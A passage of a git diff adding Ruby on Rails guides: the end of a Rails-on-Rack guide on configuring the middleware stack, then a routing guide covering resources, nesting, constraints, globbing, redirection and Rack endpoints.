+### Configuring Middleware Stack
+
+Rails provides a simple configuration interface `config.middleware` for adding, removing and modifying the middlewares in the middleware stack via `application.rb` or the environment specific configuration file `environments/<environment>.rb`.
+
+#### Adding a Middleware
+
+You can add a new middleware to the middleware stack using any of the following methods:
+
+* `config.middleware.use(new_middleware, args)` - Adds the new middleware at the bottom of the middleware stack.
+
+* `config.middleware.insert_before(existing_middleware, new_middleware, args)` - Adds the new middleware before the specified existing middleware in the middleware stack.
+
+* `config.middleware.insert_after(existing_middleware, new_middleware, args)` - Adds the new middleware after the specified existing middleware in the middleware stack.
+
+```ruby
+# config/application.rb
+
+# Push Rack::BounceFavicon at the bottom
+config.middleware.use Rack::BounceFavicon
+
+# Add Lifo::Cache after ActiveRecord::QueryCache.
+# Pass { page_cache: false } argument to Lifo::Cache.
+config.middleware.insert_after ActiveRecord::QueryCache, Lifo::Cache, page_cache: false
+```
+
+#### Swapping a Middleware
+
+You can swap an existing middleware in the middleware stack using `config.middleware.swap`.
+
+```ruby
+# config/application.rb
+
+# Replace ActionDispatch::ShowExceptions with Lifo::ShowExceptions
+config.middleware.swap ActionDispatch::ShowExceptions, Lifo::ShowExceptions
+```
+
+#### Deleting a Middleware
+
+Add the following lines to your application configuration:
+
+```ruby
+# config/application.rb
+config.middleware.delete "Rack::Lock"
+```
+
+And now if you inspect the middleware stack, you'll find that `Rack::Lock` is
+not a part of it.
+
+```bash
+$ bin/rake middleware
+(in /Users/lifo/Rails/blog)
+use ActionDispatch::Static
+use #<ActiveSupport::Cache::Strategy::LocalCache::Middleware:0x00000001c304c8>
+use Rack::Runtime
+...
+run Blog::Application.routes
+```
+
+If you want to remove session related middleware, do the following:
+
+```ruby
+# config/application.rb
+config.middleware.delete "ActionDispatch::Cookies"
+config.middleware.delete "ActionDispatch::Session::CookieStore"
+config.middleware.delete "ActionDispatch::Flash"
+```
+
+And to remove browser related middleware,
+
+```ruby
+# config/application.rb
+config.middleware.delete "Rack::MethodOverride"
+```
+
+### Internal Middleware Stack
+
+Much of Action Controller's functionality is implemented as Middlewares. The following list explains the purpose of each of them:
+
+**`Rack::Sendfile`**
+
+* Sets server specific X-Sendfile header. Configure this via `config.action_dispatch.x_sendfile_header` option.
+
+**`ActionDispatch::Static`**
+
+* Used to serve static assets. Disabled if `config.serve_static_assets` is `false`.
+
+**`Rack::Lock`**
+
+* Sets `env["rack.multithread"]` flag to `false` and wraps the application within a Mutex.
+
+**`ActiveSupport::Cache::Strategy::LocalCache::Middleware`**
+
+* Used for memory caching. This cache is not thread safe.
+
+**`Rack::Runtime`**
+
+* Sets an X-Runtime header, containing the time (in seconds) taken to execute the request.
+
+**`Rack::MethodOverride`**
+
+* Allows the method to be overridden if `params[:_method]` is set. This is the middleware which supports the PUT and DELETE HTTP method types.
+
+**`ActionDispatch::RequestId`**
+
+* Makes a unique `X-Request-Id` header available to the response and enables the `ActionDispatch::Request#uuid` method.
+
+**`Rails::Rack::Logger`**
+
+* Notifies the logs that the request has began. After request is complete, flushes all the logs.
+
+**`ActionDispatch::ShowExceptions`**
+
+* Rescues any exception returned by the application and calls an exceptions app that will wrap it in a format for the end user.
+
+**`ActionDispatch::DebugExceptions`**
+
+* Responsible for logging exceptions and showing a debugging page in case the request is local.
+
+**`ActionDispatch::RemoteIp`**
+
+* Checks for IP spoofing attacks.
+
+**`ActionDispatch::Reloader`**
+
+* Provides prepare and cleanup callbacks, intended to assist with code reloading during development.
+
+**`ActionDispatch::Callbacks`**
+
+* Runs the prepare callbacks before serving the request.
+
+**`ActiveRecord::Migration::CheckPending`**
+
+* Checks pending migrations and raises `ActiveRecord::PendingMigrationError` if any migrations are pending.
+
+**`ActiveRecord::ConnectionAdapters::ConnectionManagement`**
+
+* Cleans active connections after each request, unless the `rack.test` key in the request environment is set to `true`.
+
+**`ActiveRecord::QueryCache`**
+
+* Enables the Active Record query cache.
+
+**`ActionDispatch::Cookies`**
+
+* Sets cookies for the request.
+
+**`ActionDispatch::Session::CookieStore`**
+
+* Responsible for storing the session in cookies.
+
+**`ActionDispatch::Flash`**
+
+* Sets up the flash keys. Only available if `config.action_controller.session_store` is set to a value.
+
+**`ActionDispatch::ParamsParser`**
+
+* Parses out parameters from the request into `params`.
+
+**`ActionDispatch::Head`**
+
+* Converts HEAD requests to `GET` requests and serves them as so.
+
+**`Rack::ConditionalGet`**
+
+* Adds support for "Conditional `GET`" so that server responds with nothing if page wasn't changed.
+
+**`Rack::ETag`**
+
+* Adds ETag header on all String bodies. ETags are used to validate cache.
+
+TIP: It's possible to use any of the above middlewares in your custom Rack stack.
+
+Resources
+---------
+
+### Learning Rack
+
+* [Official Rack Website](http://rack.github.io)
+* [Introducing Rack](http://chneukirchen.org/blog/archive/2007/02/introducing-rack.html)
+* [Ruby on Rack #1 - Hello Rack!](http://m.onkey.org/ruby-on-rack-1-hello-rack)
+* [Ruby on Rack #2 - The Builder](http://m.onkey.org/ruby-on-rack-2-the-builder)
+
+### Understanding Middlewares
+
+* [Railscast on Rack Middlewares](http://railscasts.com/episodes/151-rack-middleware)
diff --git a/guides/source/routing.md b/guides/source/routing.md
new file mode 100644
index 0000000..6e4ac13
--- /dev/null
+++ b/guides/source/routing.md
@@ -0,0 +1,1115 @@
+Rails Routing from the Outside In
+=================================
+
+This guide covers the user-facing features of Rails routing.
+
+After reading this guide, you will know:
+
+* How to interpret the code in `routes.rb`.
+* How to construct your own routes, using either the preferred resourceful style or the `match` method.
+* What parameters to expect an action to receive.
+* How to automatically create paths and URLs using route helpers.
+* Advanced techniques such as constraints and Rack endpoints.
+
+--------------------------------------------------------------------------------
+
+The Purpose of the Rails Router
+-------------------------------
+
+The Rails router recognizes URLs and dispatches them to a controller's action. It can also generate paths and URLs, avoiding the need to hardcode strings in your views.
+
+### Connecting URLs to Code
+
+When your Rails application receives an incoming request for:
+
+```
+GET /patients/17
+```
+
+it asks the router to match it to a controller action. If the first matching route is:
+
+```ruby
+get '/patients/:id', to: 'patients#show'
+```
+
+the request is dispatched to the `patients` controller's `show` action with `{ id: '17' }` in `params`.
+
+### Generating Paths and URLs from Code
+
+You can also generate paths and URLs. If the route above is modified to be:
+
+```ruby
+get '/patients/:id', to: 'patients#show', as: 'patient'
+```
+
+and your application contains this code in the controller:
+
+```ruby
+ at patient = Patient.find(17)
+```
+
+and this in the corresponding view:
+
+```erb
+<%= link_to 'Patient Record', patient_path(@patient) %>
+```
+
+then the router will generate the path `/patients/17`. This reduces the brittleness of your view and makes your code easier to understand. Note that the id does not need to be specified in the route helper.
+
+Resource Routing: the Rails Default
+-----------------------------------
+
+Resource routing allows you to quickly declare all of the common routes for a given resourceful controller. Instead of declaring separate routes for your `index`, `show`, `new`, `edit`, `create`, `update` and `destroy` actions, a resourceful route declares them in a single line of code.
+
+### Resources on the Web
+
+Browsers request pages from Rails by making a request for a URL using a specific HTTP method, such as `GET`, `POST`, `PATCH`, `PUT` and `DELETE`. Each method is a request to perform an operation on the resource. A resource route maps a number of related requests to actions in a single controller.
+
+When your Rails application receives an incoming request for:
+
+```
+DELETE /photos/17
+```
+
+it asks the router to map it to a controller action. If the first matching route is:
+
+```ruby
+resources :photos
+```
+
+Rails would dispatch that request to the `destroy` method on the `photos` controller with `{ id: '17' }` in `params`.
+
+### CRUD, Verbs, and Actions
+
+In Rails, a resourceful route provides a mapping between HTTP verbs and URLs to controller actions. By convention, each action also maps to particular CRUD operations in a database. A single entry in the routing file, such as:
+
+```ruby
+resources :photos
+```
+
+creates seven different routes in your application, all mapping to the `Photos` controller:
+
+| HTTP Verb | Path             | Controller#Action | Used for                                     |
+| --------- | ---------------- | ----------------- | -------------------------------------------- |
+| GET       | /photos          | photos#index      | display a list of all photos                 |
+| GET       | /photos/new      | photos#new        | return an HTML form for creating a new photo |
+| POST      | /photos          | photos#create     | create a new photo                           |
+| GET       | /photos/:id      | photos#show       | display a specific photo                     |
+| GET       | /photos/:id/edit | photos#edit       | return an HTML form for editing a photo      |
+| PATCH/PUT | /photos/:id      | photos#update     | update a specific photo                      |
+| DELETE    | /photos/:id      | photos#destroy    | delete a specific photo                      |
+
+NOTE: Because the router uses the HTTP verb and URL to match inbound requests, four URLs map to seven different actions.
+
+NOTE: Rails routes are matched in the order they are specified, so if you have a `resources :photos` above a `get 'photos/poll'` the `show` action's route for the `resources` line will be matched before the `get` line. To fix this, move the `get` line **above** the `resources` line so that it is matched first.
+
+### Path and URL Helpers
+
+Creating a resourceful route will also expose a number of helpers to the controllers in your application. In the case of `resources :photos`:
+
+* `photos_path` returns `/photos`
+* `new_photo_path` returns `/photos/new`
+* `edit_photo_path(:id)` returns `/photos/:id/edit` (for instance, `edit_photo_path(10)` returns `/photos/10/edit`)
+* `photo_path(:id)` returns `/photos/:id` (for instance, `photo_path(10)` returns `/photos/10`)
+
+Each of these helpers has a corresponding `_url` helper (such as `photos_url`) which returns the same path prefixed with the current host, port and path prefix.
+
+### Defining Multiple Resources at the Same Time
+
+If you need to create routes for more than one resource, you can save a bit of typing by defining them all with a single call to `resources`:
+
+```ruby
+resources :photos, :books, :videos
+```
+
+This works exactly the same as:
+
+```ruby
+resources :photos
+resources :books
+resources :videos
+```
+
+### Singular Resources
+
+Sometimes, you have a resource that clients always look up without referencing an ID. For example, you would like `/profile` to always show the profile of the currently logged in user. In this case, you can use a singular resource to map `/profile` (rather than `/profile/:id`) to the `show` action:
+
+```ruby
+get 'profile', to: 'users#show'
+```
+
+Passing a `String` to `get` will expect a `controller#action` format, while passing a `Symbol` will map directly to an action:
+
+```ruby
+get 'profile', to: :show
+```
+
+This resourceful route:
+
+```ruby
+resource :geocoder
+```
+
+creates six different routes in your application, all mapping to the `Geocoders` controller:
+
+| HTTP Verb | Path           | Controller#Action | Used for                                      |
+| --------- | -------------- | ----------------- | --------------------------------------------- |
+| GET       | /geocoder/new  | geocoders#new     | return an HTML form for creating the geocoder |
+| POST      | /geocoder      | geocoders#create  | create the new geocoder                       |
+| GET       | /geocoder      | geocoders#show    | display the one and only geocoder resource    |
+| GET       | /geocoder/edit | geocoders#edit    | return an HTML form for editing the geocoder  |
+| PATCH/PUT | /geocoder      | geocoders#update  | update the one and only geocoder resource     |
+| DELETE    | /geocoder      | geocoders#destroy | delete the geocoder resource                  |
+
+NOTE: Because you might want to use the same controller for a singular route (`/account`) and a plural route (`/accounts/45`), singular resources map to plural controllers. So that, for example, `resource :photo` and `resources :photos` creates both singular and plural routes that map to the same controller (`PhotosController`).
+
+A singular resourceful route generates these helpers:
+
+* `new_geocoder_path` returns `/geocoder/new`
+* `edit_geocoder_path` returns `/geocoder/edit`
+* `geocoder_path` returns `/geocoder`
+
+As with plural resources, the same helpers ending in `_url` will also include the host, port and path prefix.
+
+WARNING: A [long-standing bug](https://github.com/rails/rails/issues/1769) prevents `form_for` from working automatically with singular resources. As a workaround, specify the URL for the form directly, like so:
+
+```ruby
+form_for @geocoder, url: geocoder_path do |f|
+```
+
+### Controller Namespaces and Routing
+
+You may wish to organize groups of controllers under a namespace. Most commonly, you might group a number of administrative controllers under an `Admin::` namespace. You would place these controllers under the `app/controllers/admin` directory, and you can group them together in your router:
+
+```ruby
+namespace :admin do
+  resources :posts, :comments
+end
+```
+
+This will create a number of routes for each of the `posts` and `comments` controller. For `Admin::PostsController`, Rails will create:
+
+| HTTP Verb | Path                  | Controller#Action   | Named Helper              |
+| --------- | --------------------- | ------------------- | ------------------------- |
+| GET       | /admin/posts          | admin/posts#index   | admin_posts_path          |
+| GET       | /admin/posts/new      | admin/posts#new     | new_admin_post_path       |
+| POST      | /admin/posts          | admin/posts#create  | admin_posts_path          |
+| GET       | /admin/posts/:id      | admin/posts#show    | admin_post_path(:id)      |
+| GET       | /admin/posts/:id/edit | admin/posts#edit    | edit_admin_post_path(:id) |
+| PATCH/PUT | /admin/posts/:id      | admin/posts#update  | admin_post_path(:id)      |
+| DELETE    | /admin/posts/:id      | admin/posts#destroy | admin_post_path(:id)      |
+
+If you want to route `/posts` (without the prefix `/admin`) to `Admin::PostsController`, you could use:
+
+```ruby
+scope module: 'admin' do
+  resources :posts, :comments
+end
+```
+
+or, for a single case:
+
+```ruby
+resources :posts, module: 'admin'
+```
+
+If you want to route `/admin/posts` to `PostsController` (without the `Admin::` module prefix), you could use:
+
+```ruby
+scope '/admin' do
+  resources :posts, :comments
+end
+```
+
+or, for a single case:
+
+```ruby
+resources :posts, path: '/admin/posts'
+```
+
+In each of these cases, the named routes remain the same as if you did not use `scope`. In the last case, the following paths map to `PostsController`:
+
+| HTTP Verb | Path                  | Controller#Action | Named Helper        |
+| --------- | --------------------- | ----------------- | ------------------- |
+| GET       | /admin/posts          | posts#index       | posts_path          |
+| GET       | /admin/posts/new      | posts#new         | new_post_path       |
+| POST      | /admin/posts          | posts#create      | posts_path          |
+| GET       | /admin/posts/:id      | posts#show        | post_path(:id)      |
+| GET       | /admin/posts/:id/edit | posts#edit        | edit_post_path(:id) |
+| PATCH/PUT | /admin/posts/:id      | posts#update      | post_path(:id)      |
+| DELETE    | /admin/posts/:id      | posts#destroy     | post_path(:id)      |
+
+TIP: _If you need to use a different controller namespace inside a `namespace` block you can specify an absolute controller path, e.g: `get '/foo' => '/foo#index'`._
+
+### Nested Resources
+
+It's common to have resources that are logically children of other resources. For example, suppose your application includes these models:
+
+```ruby
+class Magazine < ActiveRecord::Base
+  has_many :ads
+end
+
+class Ad < ActiveRecord::Base
+  belongs_to :magazine
+end
+```
+
+Nested routes allow you to capture this relationship in your routing. In this case, you could include this route declaration:
+
+```ruby
+resources :magazines do
+  resources :ads
+end
+```
+
+In addition to the routes for magazines, this declaration will also route ads to an `AdsController`. The ad URLs require a magazine:
+
+| HTTP Verb | Path                                 | Controller#Action | Used for                                                                   |
+| --------- | ------------------------------------ | ----------------- | -------------------------------------------------------------------------- |
+| GET       | /magazines/:magazine_id/ads          | ads#index         | display a list of all ads for a specific magazine                          |
+| GET       | /magazines/:magazine_id/ads/new      | ads#new           | return an HTML form for creating a new ad belonging to a specific magazine |
+| POST      | /magazines/:magazine_id/ads          | ads#create        | create a new ad belonging to a specific magazine                           |
+| GET       | /magazines/:magazine_id/ads/:id      | ads#show          | display a specific ad belonging to a specific magazine                     |
+| GET       | /magazines/:magazine_id/ads/:id/edit | ads#edit          | return an HTML form for editing an ad belonging to a specific magazine     |
+| PATCH/PUT | /magazines/:magazine_id/ads/:id      | ads#update        | update a specific ad belonging to a specific magazine                      |
+| DELETE    | /magazines/:magazine_id/ads/:id      | ads#destroy       | delete a specific ad belonging to a specific magazine                      |
+
+This will also create routing helpers such as `magazine_ads_url` and `edit_magazine_ad_path`. These helpers take an instance of Magazine as the first parameter (`magazine_ads_url(@magazine)`).
+
+#### Limits to Nesting
+
+You can nest resources within other nested resources if you like. For example:
+
+```ruby
+resources :publishers do
+  resources :magazines do
+    resources :photos
+  end
+end
+```
+
+Deeply-nested resources quickly become cumbersome. In this case, for example, the application would recognize paths such as:
+
+```
+/publishers/1/magazines/2/photos/3
+```
+
+The corresponding route helper would be `publisher_magazine_photo_url`, requiring you to specify objects at all three levels. Indeed, this situation is confusing enough that a popular [article](http://weblog.jamisbuck.org/2007/2/5/nesting-resources) by Jamis Buck proposes a rule of thumb for good Rails design:
+
+TIP: _Resources should never be nested more than 1 level deep._
+
+#### Shallow Nesting
+
+One way to avoid deep nesting (as recommended above) is to generate the collection actions scoped under the parent, so as to get a sense of the hierarchy, but to not nest the member actions. In other words, to only build routes with the minimal amount of information to uniquely identify the resource, like this:
+
+```ruby
+resources :posts do
+  resources :comments, only: [:index, :new, :create]
+end
+resources :comments, only: [:show, :edit, :update, :destroy]
+```
+
+This idea strikes a balance between descriptive routes and deep nesting. There exists shorthand syntax to achieve just that, via the `:shallow` option:
+
+```ruby
+resources :posts do
+  resources :comments, shallow: true
+end
+```
+
+This will generate the exact same routes as the first example. You can also specify the `:shallow` option in the parent resource, in which case all of the nested resources will be shallow:
+
+```ruby
+resources :posts, shallow: true do
+  resources :comments
+  resources :quotes
+  resources :drafts
+end
+```
+
+The `shallow` method of the DSL creates a scope inside of which every nesting is shallow. This generates the same routes as the previous example:
+
+```ruby
+shallow do
+  resources :posts do
+    resources :comments
+    resources :quotes
+    resources :drafts
+  end
+end
+```
+
+There exist two options for `scope` to customize shallow routes. `:shallow_path` prefixes member paths with the specified parameter:
+
+```ruby
+scope shallow_path: "sekret" do
+  resources :posts do
+    resources :comments, shallow: true
+  end
+end
+```
+
+The comments resource here will have the following routes generated for it:
+
+| HTTP Verb | Path                                   | Controller#Action | Named Helper        |
+| --------- | -------------------------------------- | ----------------- | ------------------- |
+| GET       | /posts/:post_id/comments(.:format)     | comments#index    | post_comments       |
+| POST      | /posts/:post_id/comments(.:format)     | comments#create   | post_comments       |
+| GET       | /posts/:post_id/comments/new(.:format) | comments#new      | new_post_comment    |
+| GET       | /sekret/comments/:id/edit(.:format)    | comments#edit     | edit_comment        |
+| GET       | /sekret/comments/:id(.:format)         | comments#show     | comment             |
+| PATCH/PUT | /sekret/comments/:id(.:format)         | comments#update   | comment             |
+| DELETE    | /sekret/comments/:id(.:format)         | comments#destroy  | comment             |
+
+The `:shallow_prefix` option adds the specified parameter to the named helpers:
+
+```ruby
+scope shallow_prefix: "sekret" do
+  resources :posts do
+    resources :comments, shallow: true
+  end
+end
+```
+
+The comments resource here will have the following routes generated for it:
+
+| HTTP Verb | Path                                   | Controller#Action | Named Helper        |
+| --------- | -------------------------------------- | ----------------- | ------------------- |
+| GET       | /posts/:post_id/comments(.:format)     | comments#index    | post_comments       |
+| POST      | /posts/:post_id/comments(.:format)     | comments#create   | post_comments       |
+| GET       | /posts/:post_id/comments/new(.:format) | comments#new      | new_post_comment    |
+| GET       | /comments/:id/edit(.:format)           | comments#edit     | edit_sekret_comment |
+| GET       | /comments/:id(.:format)                | comments#show     | sekret_comment      |
+| PATCH/PUT | /comments/:id(.:format)                | comments#update   | sekret_comment      |
+| DELETE    | /comments/:id(.:format)                | comments#destroy  | sekret_comment      |
+
+### Routing concerns
+
+Routing Concerns allows you to declare common routes that can be reused inside other resources and routes. To define a concern:
+
+```ruby
+concern :commentable do
+  resources :comments
+end
+
+concern :image_attachable do
+  resources :images, only: :index
+end
+```
+
+These concerns can be used in resources to avoid code duplication and share behavior across routes:
+
+```ruby
+resources :messages, concerns: :commentable
+
+resources :posts, concerns: [:commentable, :image_attachable]
+```
+
+The above is equivalent to:
+
+```ruby
+resources :messages do
+  resources :comments
+end
+
+resources :posts do
+  resources :comments
+  resources :images, only: :index
+end
+```
+
+Also you can use them in any place that you want inside the routes, for example in a scope or namespace call:
+
+```ruby
+namespace :posts do
+  concerns :commentable
+end
+```
+
+### Creating Paths and URLs From Objects
+
+In addition to using the routing helpers, Rails can also create paths and URLs from an array of parameters. For example, suppose you have this set of routes:
+
+```ruby
+resources :magazines do
+  resources :ads
+end
+```
+
+When using `magazine_ad_path`, you can pass in instances of `Magazine` and `Ad` instead of the numeric IDs:
+
+```erb
+<%= link_to 'Ad details', magazine_ad_path(@magazine, @ad) %>
+```
+
+You can also use `url_for` with a set of objects, and Rails will automatically determine which route you want:
+
+```erb
+<%= link_to 'Ad details', url_for([@magazine, @ad]) %>
+```
+
+In this case, Rails will see that `@magazine` is a `Magazine` and `@ad` is an `Ad` and will therefore use the `magazine_ad_path` helper. In helpers like `link_to`, you can specify just the object in place of the full `url_for` call:
+
+```erb
+<%= link_to 'Ad details', [@magazine, @ad] %>
+```
+
+If you wanted to link to just a magazine:
+
+```erb
+<%= link_to 'Magazine details', @magazine %>
+```
+
+For other actions, you just need to insert the action name as the first element of the array:
+
+```erb
+<%= link_to 'Edit Ad', [:edit, @magazine, @ad] %>
+```
+
+This allows you to treat instances of your models as URLs, and is a key advantage to using the resourceful style.
+
+### Adding More RESTful Actions
+
+You are not limited to the seven routes that RESTful routing creates by default. If you like, you may add additional routes that apply to the collection or individual members of the collection.
+
+#### Adding Member Routes
+
+To add a member route, just add a `member` block into the resource block:
+
+```ruby
+resources :photos do
+  member do
+    get 'preview'
+  end
+end
+```
+
+This will recognize `/photos/1/preview` with GET, and route to the `preview` action of `PhotosController`, with the resource id value passed in `params[:id]`. It will also create the `preview_photo_url` and `preview_photo_path` helpers.
+
+Within the block of member routes, each route name specifies the HTTP verb
+will be recognized. You can use `get`, `patch`, `put`, `post`, or `delete` here
+. If you don't have multiple `member` routes, you can also pass `:on` to a
+route, eliminating the block:
+
+```ruby
+resources :photos do
+  get 'preview', on: :member
+end
+```
+
+You can leave out the `:on` option, this will create the same member route except that the resource id value will be available in `params[:photo_id]` instead of `params[:id]`.
+
+#### Adding Collection Routes
+
+To add a route to the collection:
+
+```ruby
+resources :photos do
+  collection do
+    get 'search'
+  end
+end
+```
+
+This will enable Rails to recognize paths such as `/photos/search` with GET, and route to the `search` action of `PhotosController`. It will also create the `search_photos_url` and `search_photos_path` route helpers.
+
+Just as with member routes, you can pass `:on` to a route:
+
+```ruby
+resources :photos do
+  get 'search', on: :collection
+end
+```
+
+#### Adding Routes for Additional New Actions
+
+To add an alternate new action using the `:on` shortcut:
+
+```ruby
+resources :comments do
+  get 'preview', on: :new
+end
+```
+
+This will enable Rails to recognize paths such as `/comments/new/preview` with GET, and route to the `preview` action of `CommentsController`. It will also create the `preview_new_comment_url` and `preview_new_comment_path` route helpers.
+
+TIP: If you find yourself adding many extra actions to a resourceful route, it's time to stop and ask yourself whether you're disguising the presence of another resource.
+
+Non-Resourceful Routes
+----------------------
+
+In addition to resource routing, Rails has powerful support for routing arbitrary URLs to actions. Here, you don't get groups of routes automatically generated by resourceful routing. Instead, you set up each route within your application separately.
+
+While you should usually use resourceful routing, there are still many places where the simpler routing is more appropriate. There's no need to try to shoehorn every last piece of your application into a resourceful framework if that's not a good fit.
+
+In particular, simple routing makes it very easy to map legacy URLs to new Rails actions.
+
+### Bound Parameters
+
+When you set up a regular route, you supply a series of symbols that Rails maps to parts of an incoming HTTP request. Two of these symbols are special: `:controller` maps to the name of a controller in your application, and `:action` maps to the name of an action within that controller. For example, consider this route:
+
+```ruby
+get ':controller(/:action(/:id))'
+```
+
+If an incoming request of `/photos/show/1` is processed by this route (because it hasn't matched any previous route in the file), then the result will be to invoke the `show` action of the `PhotosController`, and to make the final parameter `"1"` available as `params[:id]`. This route will also route the incoming request of `/photos` to `PhotosController#index`, since `:action` and `:id` are optional parameters, denoted by parentheses.
+
+### Dynamic Segments
+
+You can set up as many dynamic segments within a regular route as you like. Anything other than `:controller` or `:action` will be available to the action as part of `params`. If you set up this route:
+
+```ruby
+get ':controller/:action/:id/:user_id'
+```
+
+An incoming path of `/photos/show/1/2` will be dispatched to the `show` action of the `PhotosController`. `params[:id]` will be `"1"`, and `params[:user_id]` will be `"2"`.
+
+NOTE: You can't use `:namespace` or `:module` with a `:controller` path segment. If you need to do this then use a constraint on :controller that matches the namespace you require. e.g:
+
+```ruby
+get ':controller(/:action(/:id))', controller: /admin\/[^\/]+/
+```
+
+TIP: By default, dynamic segments don't accept dots - this is because the dot is used as a separator for formatted routes. If you need to use a dot within a dynamic segment, add a constraint that overrides this – for example, `id: /[^\/]+/` allows anything except a slash.
+
+### Static Segments
+
+You can specify static segments when creating a route by not prepending a colon to a fragment:
+
+```ruby
+get ':controller/:action/:id/with_user/:user_id'
+```
+
+This route would respond to paths such as `/photos/show/1/with_user/2`. In this case, `params` would be `{ controller: 'photos', action: 'show', id: '1', user_id: '2' }`.
+
+### The Query String
+
+The `params` will also include any parameters from the query string. For example, with this route:
+
+```ruby
+get ':controller/:action/:id'
+```
+
+An incoming path of `/photos/show/1?user_id=2` will be dispatched to the `show` action of the `Photos` controller. `params` will be `{ controller: 'photos', action: 'show', id: '1', user_id: '2' }`.
+
+### Defining Defaults
+
+You do not need to explicitly use the `:controller` and `:action` symbols within a route. You can supply them as defaults:
+
+```ruby
+get 'photos/:id', to: 'photos#show'
+```
+
+With this route, Rails will match an incoming path of `/photos/12` to the `show` action of `PhotosController`.
+
+You can also define other defaults in a route by supplying a hash for the `:defaults` option. This even applies to parameters that you do not specify as dynamic segments. For example:
+
+```ruby
+get 'photos/:id', to: 'photos#show', defaults: { format: 'jpg' }
+```
+
+Rails would match `photos/12` to the `show` action of `PhotosController`, and set `params[:format]` to `"jpg"`.
+
+### Naming Routes
+
+You can specify a name for any route using the `:as` option:
+
+```ruby
+get 'exit', to: 'sessions#destroy', as: :logout
+```
+
+This will create `logout_path` and `logout_url` as named helpers in your application. Calling `logout_path` will return `/exit`
+
+You can also use this to override routing methods defined by resources, like this:
+
+```ruby
+get ':username', to: 'users#show', as: :user
+```
+
+This will define a `user_path` method that will be available in controllers, helpers and views that will go to a route such as `/bob`. Inside the `show` action of `UsersController`, `params[:username]` will contain the username for the user. Change `:username` in the route definition if you do not want your parameter name to be `:username`.
+
+### HTTP Verb Constraints
+
+In general, you should use the `get`, `post`, `put`, `patch`  and `delete` methods to constrain a route to a particular verb. You can use the `match` method with the `:via` option to match multiple verbs at once:
+
+```ruby
+match 'photos', to: 'photos#show', via: [:get, :post]
+```
+
+You can match all verbs to a particular route using `via: :all`:
+
+```ruby
+match 'photos', to: 'photos#show', via: :all
+```
+
+NOTE: Routing both `GET` and `POST` requests to a single action has security implications. In general, you should avoid routing all verbs to an action unless you have a good reason to.
+
+### Segment Constraints
+
+You can use the `:constraints` option to enforce a format for a dynamic segment:
+
+```ruby
+get 'photos/:id', to: 'photos#show', constraints: { id: /[A-Z]\d{5}/ }
+```
+
+This route would match paths such as `/photos/A12345`, but not `/photos/893`. You can more succinctly express the same route this way:
+
+```ruby
+get 'photos/:id', to: 'photos#show', id: /[A-Z]\d{5}/
+```
+
+`:constraints` takes regular expressions with the restriction that regexp anchors can't be used. For example, the following route will not work:
+
+```ruby
+get '/:id', to: 'posts#show', constraints: {id: /^\d/}
+```
+
+However, note that you don't need to use anchors because all routes are anchored at the start.
+
+For example, the following routes would allow for `posts` with `to_param` values like `1-hello-world` that always begin with a number and `users` with `to_param` values like `david` that never begin with a number to share the root namespace:
+
+```ruby
+get '/:id', to: 'posts#show', constraints: { id: /\d.+/ }
+get '/:username', to: 'users#show'
+```
+
+### Request-Based Constraints
+
+You can also constrain a route based on any method on the <a href="action_controller_overview.html#the-request-object">Request</a> object that returns a `String`.
+
+You specify a request-based constraint the same way that you specify a segment constraint:
+
+```ruby
+get 'photos', constraints: {subdomain: 'admin'}
+```
+
+You can also specify constraints in a block form:
+
+```ruby
+namespace :admin do
+  constraints subdomain: 'admin' do
+    resources :photos
+  end
+end
+```
+
+### Advanced Constraints
+
+If you have a more advanced constraint, you can provide an object that responds to `matches?` that Rails should use. Let's say you wanted to route all users on a blacklist to the `BlacklistController`. You could do:
+
+```ruby
+class BlacklistConstraint
+  def initialize
+    @ips = Blacklist.retrieve_ips
+  end
+
+  def matches?(request)
+    @ips.include?(request.remote_ip)
+  end
+end
+
+TwitterClone::Application.routes.draw do
+  get '*path', to: 'blacklist#index',
+    constraints: BlacklistConstraint.new
+end
+```
+
+You can also specify constraints as a lambda:
+
+```ruby
+TwitterClone::Application.routes.draw do
+  get '*path', to: 'blacklist#index',
+    constraints: lambda { |request| Blacklist.retrieve_ips.include?(request.remote_ip) }
+end
+```
+
+Both the `matches?` method and the lambda gets the `request` object as an argument.
+
+### Route Globbing and Wildcard Segments
+
+Route globbing is a way to specify that a particular parameter should be matched to all the remaining parts of a route. For example:
+
+```ruby
+get 'photos/*other', to: 'photos#unknown'
+```
+
+This route would match `photos/12` or `/photos/long/path/to/12`, setting `params[:other]` to `"12"` or `"long/path/to/12"`. The fragments prefixed with a star are called "wildcard segments".
+
+Wildcard segments can occur anywhere in a route. For example:
+
+```ruby
+get 'books/*section/:title', to: 'books#show'
+```
+
+would match `books/some/section/last-words-a-memoir` with `params[:section]` equals `'some/section'`, and `params[:title]` equals `'last-words-a-memoir'`.
+
+Technically, a route can have even more than one wildcard segment. The matcher assigns segments to parameters in an intuitive way. For example:
+
+```ruby
+get '*a/foo/*b', to: 'test#index'
+```
+
+would match `zoo/woo/foo/bar/baz` with `params[:a]` equals `'zoo/woo'`, and `params[:b]` equals `'bar/baz'`.
+
+NOTE: By requesting `'/foo/bar.json'`, your `params[:pages]` will be equals to `'foo/bar'` with the request format of JSON. If you want the old 3.0.x behavior back, you could supply `format: false` like this:
+
+```ruby
+get '*pages', to: 'pages#show', format: false
+```
+
+NOTE: If you want to make the format segment mandatory, so it cannot be omitted, you can supply `format: true` like this:
+
+```ruby
+get '*pages', to: 'pages#show', format: true
+```
+
+### Redirection
+
+You can redirect any path to another path using the `redirect` helper in your router:
+
+```ruby
+get '/stories', to: redirect('/posts')
+```
+
+You can also reuse dynamic segments from the match in the path to redirect to:
+
+```ruby
+get '/stories/:name', to: redirect('/posts/%{name}')
+```
+
+You can also provide a block to redirect, which receives the symbolized path parameters and the request object:
+
+```ruby
+get '/stories/:name', to: redirect {|path_params, req| "/posts/#{path_params[:name].pluralize}" }
+get '/stories', to: redirect {|path_params, req| "/posts/#{req.subdomain}" }
+```
+
+Please note that this redirection is a 301 "Moved Permanently" redirect. Keep in mind that some web browsers or proxy servers will cache this type of redirect, making the old page inaccessible.
+
+In all of these cases, if you don't provide the leading host (`http://www.example.com`), Rails will take those details from the current request.
+
+### Routing to Rack Applications
+
+Instead of a String like `'posts#index'`, which corresponds to the `index` action in the `PostsController`, you can specify any <a href="rails_on_rack.html">Rack application</a> as the endpoint for a matcher:
+
+```ruby
+match '/application.js', to: Sprockets, via: :all
+```
+
+As long as `Sprockets` responds to `call` and returns a `[status, headers, body]`, the router won't know the difference between the Rack application and an action. This is an appropriate use of `via: :all`, as you will want to allow your Rack application to handle all verbs as it considers appropriate.
+
